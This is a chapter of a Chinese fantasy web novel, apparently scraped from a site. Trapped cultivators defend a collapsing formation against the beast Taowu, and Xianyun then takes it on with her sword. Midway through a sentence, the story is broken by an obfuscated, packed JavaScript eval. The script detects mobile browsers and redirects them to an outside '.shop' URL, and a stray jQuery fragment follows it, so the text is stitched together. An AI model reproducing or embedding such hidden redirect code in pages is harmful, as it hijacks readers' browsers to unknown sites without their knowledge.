那可是梼杌,死定了……
不提别的,单他这大山一般的体型,踩死人跟踩死一只蚂蚁一般简单。
振响顺着地面蔓延,一路上山崩地裂,飞鸟四窜。
修士们全乱了,他们不停穿梭张望,一会儿看看梼杌还有多远距离,一会儿又抓紧时间想着逃离的办法。和羡云一起进入决赛的世家子弟只走了几个,大部分都还留在这儿,他们开始不停地向外界求助,让他们想办法从外界打开界门。每个人心里的恐惧都在不断滋生、蔓延。
局势岌岌可危,梼杌不断直逼他们而来,他们又出不去。
正在这时,姜钰站了出来。他来鬼宿这些日子,能明显感觉到他憔悴了不少,他之前是位很有精神气的小老头,现在却佝偻了脊背。他走到众人面前,抬手示意大伙安静。
“大家稳住心神,凶兽未至人心先乱,便是不战自败。”他的声音字字清晰,稳稳落入众人的耳中。
“全员归位,我们马上建立防护大阵。”他再次沉声传令。
大家听后便纷纷响应。
说上界人傲娇吧,他们确实如此,有时候总是很臭屁,很沾沾自喜,很自以为是,但正因为这份傲娇的底气,就算面前是吞天猛兽,他们也敢一战到底。不是他们不害怕,是因为他们很自信,觉得自己无所不能。
上界人和下界人不一样,山河崩溃之时下界人迎头而上,那是不得已而为之,因为那里是他们的家。上界人就不一样,他们可没有这般吃苦奋斗的精神,羡云刚刚听他们讲自己关于舍弃鬼宿的看法,不满的声音有一部分,但很多人却是能接受的。
他们说鬼宿没了还有二十七星宿,就算再差再差二十七星宿都没了,还能再建啊。在他们眼里玄冥就是个屁,他就是个叛逃的修士,也就是现在条件有利于他罢了。
他们说,有人的地方才有家,没什么能比自己的命重要。
上界人很乐观,就算他们连输了好几场,伤亡人数越来越多,总会有人站出来说,我们明天定然能把鬼域荡平!
羡云很累,很想早早离开,但是最终还是选择留下,不是因为她有多高尚,也谈不上她有多爱这一片土地,她是受这群人感染,她喜欢他们身上那股乐天知命的精神气。她这人活得很消极,年纪不大但却仿若枯槁。她很希望有朝一日能像这些上界人一般潇洒,一般朝气蓬勃、意气风发。
就好比现在,他们各司其职,不断汇聚灵力,地面上缓缓升腾起了大阵,大阵将宁霭牢牢包裹覆盖。
大家伙累得不行,他们瘫坐在地上,又开始浮想联翩。
有人说等会儿他要梼杌的獠牙,他要把它的牙卸下来挂在家里,还说让大家都不要和他抢;有的人说想用梼杌的皮做一身盔甲,穿着定然耀武扬威;有的人甚至已经想到了要如何报复玄冥此举,他说等他从这里离开后,一回到朱雀就要去高价收买兽蛋,孵一大群出来,也让玄冥尝尝这滋味。
每个人心里其实都紧张,越是紧张嘴里的话就会越多。
姚知几鬼鬼祟祟挪到羡云身旁,悄悄给羡云塞了个东西,羡云突然摸到一只手,惊了一下。
姚知几悄声说道:“这是我的遗书,我的身后事我都写清楚了,要是我走不了,你帮我拿出去。”他顿了顿又补充说,“好吧,我承认你确实比我厉害些许,所以就拜托你了。”他眼角红了,手里紧紧握着一枚玉佩,待他下定决心后,他把玉佩递给了羡云,“我喜欢一个人,她有点可爱,你其实认识她的,只是我一直没和你说,你记得帮我把玉佩给她,对她说,知几负了你,要是有来世,还愿当你知己。”他喉间滞涩,声音微弱却字字清晰。
“谁啊?你也得给我说明白才行啊。”
“哎哟,你知道的,她和你玩得很好,经常我和提起你。”
“江月升?还是袁荔夏?总不能是谷小安吧?”
“是月升。”姚知几低着头应了声后便没了踪影,等再次看到他之时,他正在和姜钰交谈。他手里还有些阵法盘,他把阵法盘全都拿了出来,想试试能不能再给大阵加一层保障。
身旁的赵暮欲言又止,他心里也藏了一大段话想说,但他这个人不像姚知几那般擅长表达,他忍了又忍,最终那些话还是未能说出口。
他视线总不自觉往羡云身上落,但却不敢长久直视,目光触到对方面庞便迅速往下收,垂向地面。
待羡云转身离去,他的目光还紧随其后,直至羡云身影走远,他眼底里全是遗憾。
他心想着,总是有机会的,等到大战结束,他一定会说。
梼杌来到了大阵面前,他头颅低垂着,身体开始骤然发力,径直撞向了防护大阵。
没过多时,阵壁上便浮现出细密的裂纹,密密麻麻遍布开来。
梼杌比想象中更难对付。
众人身形齐齐踉跄,脚下根基不稳,身躯不受控制地左右晃动,胸腔气血翻涌,喉间泛起腥甜,额角冷汗涔涔,灵力也渐渐运转缓慢起来。
姜钰守在最前面,他对着他们大喊道:
“大家加把劲儿!”
“快!快快!”
“千万不能让阵法破碎!”
“一定要坚持住!”
说着话的同时,他手里的印诀变化速度越来越快。
梼杌未作停歇,四肢蹬地又开始再度俯身撞击。
轰鸣声间连不断响起,大阵裂纹飞速蔓延,大阵上的光泽忽明忽暗。阵内不少修为浅薄的修士被震得连连后退,还有几人当场便吐出了血。
大家都知道,要是再这么下去,定全军覆没无一人生还,可是现在除了等没有别的办法……
坚持,一定要坚持!
大家又默默加大了输送的灵力。
“传来消息了,四象收到消息了!他们说仙尊已经在破阵,我们马上就能出去。”姚知几兴奋地大喊。
就在大家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638393|205254||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心里刚松了一口气的瞬间,大阵却破了。
在一声轰鸣声中,阵法的光幕接连熄灭,各处灵力成片溃散。
梼杌撞进来了!
那强大的冲击力让众人身形不受控地向后飞跌,飞得远远的,摔得惨惨的,能再次站起来的人不到刚才的三成。
人还没有梼杌的巴掌大,在他的攻击面前,显得毫无还手之力。
目前唯一没受伤的只有姜钰、羡云、赵暮以及姚知几。姜钰刚才独自一人支撑着整个阵法,看上去虽然没事,但因阵法反噬造成的内伤定然不轻。姚知几之前本就受过伤,他也是运气差,来送个消息就被困在了这里。赵暮更别说了,以前剑法还能凑合,来了上界后他的心思全在丹药、医术上,让他去对抗这猛兽,那就相当于羊入虎口。
羡云的指尖轻轻扣住掌心,动作反复数次,她的视线落在前方的梼杌身上,目光频繁轻移,呼吸较平日略快些。
心绪平复大半,她睁开双眼,手腕微旋,长剑出鞘。
这几日在鬼域她用的都不是自己的本命剑春生,或者这么说,自打来了上界,她都没有机会用到它。
在她小的时候,春生出剑,势如破竹,同一修为下无人可挡,就算修为高她一阶,她也能以一换一。而且春生还是她的本命剑,与她休戚与共、相辅相成,她修为精进一分,剑身力量便随之强盛一分。看样子,今日是时候让它见见血了。
现在是和时间比拼,要是他们从外面破阵,里面再有一股灵力辅佐,定能最快时间打开界门。
羡云站了出来,她大声说道:“我来把它引走,你们抓紧时间打开界门。”说完后,她便头也不回地升到了半空位置,只留背影朝向众人。
她束发披甲,干净利落,身姿笔直,不见丝毫慌乱。
姜钰他们也快速讨论出了结果,大家没有争抢,没有推诿,一部分人留着破阵修为高的去和羡云打配合,商量完后,姜钰他们也来到了半空位置。
这群素不相识的人,在这些时日的相处中慢慢有了默契。
战场上不论年龄,不论性别,不论美丑,一切都用实力来决定。
实力强的出来和梼杌正面应战,实力弱的留守后方抓紧打开界门,这是最好的保全之法。
羡云率先出击,她凌空踏步,长剑直指梼杌。梼杌扬声怒啸,抬爪朝她拍去,她旋身横剑相挡,一声震耳的金铁交鸣声后,她借着撞击之势后撤数丈,再一次运转灵力。
梼杌一击未中,四肢蹬地再度猛扑。羡云足尖踏空侧转身形,剑锋顺势劈斩,但仍然无法重伤它。
二者往复缠斗,攻守交替,僵持不下。
僵持久了,她的身子也吃不消了,呼吸渐促,大汗直流。
“羡云丫头,你歇会儿,下一场老夫来,让老夫来教训教训这畜牲!”羡云退下后,姜钰便补了上去,继续和梼杌对抗,来此来分散它的注意力,给他们留有更多的时间。